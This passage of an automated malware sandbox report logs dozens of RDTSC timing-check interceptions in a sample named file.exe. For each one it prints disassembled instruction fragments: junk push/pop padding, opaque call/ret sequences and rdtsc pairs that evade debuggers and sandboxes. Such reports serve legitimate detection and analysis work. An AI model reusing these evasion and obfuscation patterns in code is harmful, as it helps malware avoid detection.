mov dword ptr [esp+04h], esi 0x0000004c add dword ptr [esp+04h], 0000001Ah 0x00000054 inc esi 0x00000055 push esi 0x00000056 ret 0x00000057 pop esi 0x00000058 ret 0x00000059 xchg eax, ebx 0x0000005a push eax 0x0000005b push edx 0x0000005c je 00007F3BB8CF950Ch 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E81E0 second address: 6E81E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8BCA second address: 6E8BD4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3BB8CF9506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EA35E second address: 6EA363 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EAE7E second address: 6EAEB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF9517h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3BB8CF9515h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EEA9E second address: 6EEAA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F3BB941C8D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F00F9 second address: 6F00FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF248 second address: 6EF2E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007F3BB941C8D8h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 push dword ptr fs:[00000000h] 0x00000028 jmp 00007F3BB941C8E8h 0x0000002d mov dword ptr fs:[00000000h], esp 0x00000034 je 00007F3BB941C8D6h 0x0000003a mov eax, dword ptr [ebp+122D0065h] 0x00000040 cld 0x00000041 mov dword ptr [ebp+122D1880h], ebx 0x00000047 push FFFFFFFFh 0x00000049 push 00000000h 0x0000004b push ebp 0x0000004c call 00007F3BB941C8D8h 0x00000051 pop ebp 0x00000052 mov dword ptr [esp+04h], ebp 0x00000056 add dword ptr [esp+04h], 0000001Ch 0x0000005e inc ebp 0x0000005f push ebp 0x00000060 ret 0x00000061 pop ebp 0x00000062 ret 0x00000063 mov dword ptr [ebp+122D1897h], ebx 0x00000069 nop 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007F3BB941C8DDh 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F032F second address: 6F034C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF9519h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F3044 second address: 6F30C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 nop 0x00000005 push 00000000h 0x00000007 push esi 0x00000008 call 00007F3BB941C8D8h 0x0000000d pop esi 0x0000000e mov dword ptr [esp+04h], esi 0x00000012 add dword ptr [esp+04h], 00000017h 0x0000001a inc esi 0x0000001b push esi 0x0000001c ret 0x0000001d pop esi 0x0000001e ret 0x0000001f mov bx, 2E7Dh 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ebp 0x00000028 call 00007F3BB941C8D8h 0x0000002d pop ebp 0x0000002e mov dword ptr [esp+04h], ebp 0x00000032 add dword ptr [esp+04h], 00000017h 0x0000003a inc ebp 0x0000003b push ebp 0x0000003c ret 0x0000003d pop ebp 0x0000003e ret 0x0000003f mov bl, BBh 0x00000041 mov ebx, dword ptr [ebp+122D2010h] 0x00000047 push 00000000h 0x00000049 mov dword ptr [ebp+124844BFh], edx 0x0000004f xchg eax, esi 0x00000050 push edi 0x00000051 jng 00007F3BB941C8DCh 0x00000057 js 00007F3BB941C8D6h 0x0000005d pop edi 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007F3BB941C8E1h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4056 second address: 6F4087 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3BB8CF9506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop eax 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 mov bl, FAh 0x00000014 push 00000000h 0x00000016 adc ebx, 3C7A1739h 0x0000001c or dword ptr [ebp+122D1B3Dh], edx 0x00000022 push 00000000h 0x00000024 mov dword ptr [ebp+122D353Eh], esi 0x0000002a push eax 0x0000002b pushad 0x0000002c pushad 0x0000002d push ecx 0x0000002e pop ecx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F41F8 second address: 6F429E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F3BB941C8E5h 0x00000013 popad 0x00000014 pushad 0x00000015 push edx 0x00000016 pop edx 0x00000017 jnp 00007F3BB941C8D6h 0x0000001d popad 0x0000001e popad 0x0000001f nop 0x00000020 sub edi, dword ptr [ebp+122D2D26h] 0x00000026 push dword ptr fs:[00000000h] 0x0000002d push 00000000h 0x0000002f push edi 0x00000030 call 00007F3BB941C8D8h 0x00000035 pop edi 0x00000036 mov dword ptr [esp+04h], edi 0x0000003a add dword ptr [esp+04h], 0000001Ah 0x00000042 inc edi 0x00000043 push edi 0x00000044 ret 0x00000045 pop edi 0x00000046 ret 0x00000047 movzx ebx, di 0x0000004a mov dword ptr fs:[00000000h], esp 0x00000051 jmp 00007F3BB941C8E3h 0x00000056 mov eax, dword ptr [ebp+122D0F61h] 0x0000005c push FFFFFFFFh 0x0000005e or dword ptr [ebp+122D18F4h], edi 0x00000064 movzx edi, si 0x00000067 push eax 0x00000068 push eax 0x00000069 push edx 0x0000006a js 00007F3BB941C8DCh 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6099 second address: 6F60B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jnc 00007F3BB8CF950Ch 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F60B4 second address: 6F60F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 nop 0x00000007 push esi 0x00000008 mov ebx, dword ptr [ebp+122D1E16h] 0x0000000e pop edi 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007F3BB941C8D8h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000014h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b mov bx, 5B5Ch 0x0000002f push 00000000h 0x00000031 mov ebx, dword ptr [ebp+122D1B2Bh] 0x00000037 xchg eax, esi 0x00000038 jbe 00007F3BB941C8E4h 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F5392 second address: 6F5396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F816F second address: 6F818A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F3BB941C8E2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F818A second address: 6F8190 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F8190 second address: 6F8208 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3BB941C8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d jmp 00007F3BB941C8E3h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F3BB941C8D8h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e or dword ptr [ebp+122D1B83h], eax 0x00000034 mov di, bx 0x00000037 or dword ptr [ebp+122D2E13h], esi 0x0000003d push 00000000h 0x0000003f and bh, 00000000h 0x00000042 xchg eax, esi 0x00000043 jbe 00007F3BB941C8E5h 0x00000049 push eax 0x0000004a push ecx 0x0000004b push eax 0x0000004c push edx 0x0000004d jns 00007F3BB941C8D6h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F8208 second address: 6F820C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA2BC second address: 6FA2C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA2C2 second address: 6FA2C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB75F second address: 6FB763 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB7F4 second address: 6FB7F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA935 second address: 6FA94B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3BB941C8E2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA94B second address: 6FA94F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F8352 second address: 6F8416 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3BB941C8D8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jng 00007F3BB941C8DEh 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F3BB941C8D8h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c mov dword ptr [ebp+122D3720h], edx 0x00000032 push dword ptr fs:[00000000h] 0x00000039 sub ebx, dword ptr [ebp+122D1AA1h] 0x0000003f cld 0x00000040 mov dword ptr fs:[00000000h], esp 0x00000047 push 00000000h 0x00000049 push edx 0x0000004a call 00007F3BB941C8D8h 0x0000004f pop edx 0x00000050 mov dword ptr [esp+04h], edx 0x00000054 add dword ptr [esp+04h], 0000001Dh 0x0000005c inc edx 0x0000005d push edx 0x0000005e ret 0x0000005f pop edx 0x00000060 ret 0x00000061 movsx edi, si 0x00000064 xor bh, 0000003Ah 0x00000067 mov eax, dword ptr [ebp+122D0729h] 0x0000006d jmp 00007F3BB941C8E2h 0x00000072 mov di, bx 0x00000075 push FFFFFFFFh 0x00000077 jmp 00007F3BB941C8E5h 0x0000007c nop 0x0000007d push eax 0x0000007e push edx 0x0000007f pushad 0x00000080 pushad 0x00000081 popad 0x00000082 jc 00007F3BB941C8D6h 0x00000088 popad 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F71A8 second address: 6F71AE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F8416 second address: 6F843F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3BB941C8DBh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FC7C1 second address: 6FC823 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF9513h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b jmp 00007F3BB8CF9512h 0x00000010 pop ebx 0x00000011 nop 0x00000012 mov ebx, dword ptr [ebp+122D36D9h] 0x00000018 push 00000000h 0x0000001a jmp 00007F3BB8CF9519h 0x0000001f or dword ptr [ebp+122D1DEBh], esi 0x00000025 push 00000000h 0x00000027 pushad 0x00000028 mov ax, dx 0x0000002b popad 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f push esi 0x00000030 pushad 0x00000031 popad 0x00000032 pop esi 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F843F second address: 6F8445 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FC823 second address: 6FC82D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F3BB8CF9506h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FC984 second address: 6FC992 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FC992 second address: 6FCA12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jbe 00007F3BB8CF9506h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edi, dword ptr [ebp+122D2A82h] 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 push 00000000h 0x00000025 push ecx 0x00000026 call 00007F3BB8CF9508h 0x0000002b pop ecx 0x0000002c mov dword ptr [esp+04h], ecx 0x00000030 add dword ptr [esp+04h], 0000001Ch 0x00000038 inc ecx 0x00000039 push ecx 0x0000003a ret 0x0000003b pop ecx 0x0000003c ret 0x0000003d mov eax, dword ptr [ebp+122D0051h] 0x00000043 push 00000000h 0x00000045 push ebx 0x00000046 call 00007F3BB8CF9508h 0x0000004b pop ebx 0x0000004c mov dword ptr [esp+04h], ebx 0x00000050 add dword ptr [esp+04h], 0000001Dh 0x00000058 inc ebx 0x00000059 push ebx 0x0000005a ret 0x0000005b pop ebx 0x0000005c ret 0x0000005d push FFFFFFFFh 0x0000005f mov edi, 1FADC3B1h 0x00000064 nop 0x00000065 push eax 0x00000066 push edx 0x00000067 push edi 0x00000068 push eax 0x00000069 pop eax 0x0000006a pop edi 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FCA12 second address: 6FCA49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3BB941C8E7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FCA49 second address: 6FCA56 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3BB8CF9506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF252 second address: 6FF27C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jnl 00007F3BB941C8D6h 0x00000011 jmp 00007F3BB941C8E8h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700208 second address: 70020C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7011B6 second address: 7011D2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3BB941C8E3h 0x00000008 jmp 00007F3BB941C8DDh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push ecx 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 701264 second address: 70126A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70328C second address: 7032B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnl 00007F3BB941C8D6h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 je 00007F3BB941C8E4h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705B29 second address: 705B5C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F3BB8CF9514h 0x0000000c pop ecx 0x0000000d push edi 0x0000000e jmp 00007F3BB8CF950Ch 0x00000013 pop edi 0x00000014 pushad 0x00000015 jnp 00007F3BB8CF9506h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70B941 second address: 70B945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70BC69 second address: 70BC8C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop edx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jne 00007F3BB8CF9514h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70BC8C second address: 70BC90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A7EA second address: 71A7FA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3BB8CF9506h 0x00000008 jp 00007F3BB8CF9506h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A7FA second address: 71A878 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007F3BB941C8E6h 0x0000000e jp 00007F3BB941C8D6h 0x00000014 jmp 00007F3BB941C8E7h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pushad 0x0000001d jmp 00007F3BB941C8E4h 0x00000022 jnc 00007F3BB941C8DEh 0x00000028 jmp 00007F3BB941C8E8h 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A878 second address: 71A87E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A87E second address: 71A882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB603 second address: 6AB607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB607 second address: 6AB60B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB60B second address: 6AB611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719513 second address: 719519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719519 second address: 71951D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71951D second address: 719541 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007F3BB941C8DCh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719B2E second address: 719B32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719B32 second address: 719B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F3BB941C8E0h 0x0000000d popad 0x0000000e push ecx 0x0000000f jmp 00007F3BB941C8DEh 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719C92 second address: 719C96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719C96 second address: 719CA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jno 00007F3BB941C8D6h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719CA8 second address: 719CCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF950Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3BB8CF9513h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719CCC second address: 719CD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719FA4 second address: 719FB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719FB5 second address: 719FE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3BB941C8D6h 0x0000000a jmp 00007F3BB941C8E1h 0x0000000f jmp 00007F3BB941C8E4h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719FE9 second address: 719FED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719FED second address: 719FF7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3BB941C8D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719FF7 second address: 719FFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719FFD second address: 71A011 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3BB941C8DEh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A29D second address: 71A2AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F3BB8CF9506h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A2AC second address: 71A2E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8DFh 0x00000007 jmp 00007F3BB941C8E5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jg 00007F3BB941C8D6h 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 popad 0x0000001a popad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A2E6 second address: 71A2EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A2EC second address: 71A2F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E5A4 second address: 71E5AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721CD0 second address: 721CD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721CD5 second address: 721CDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
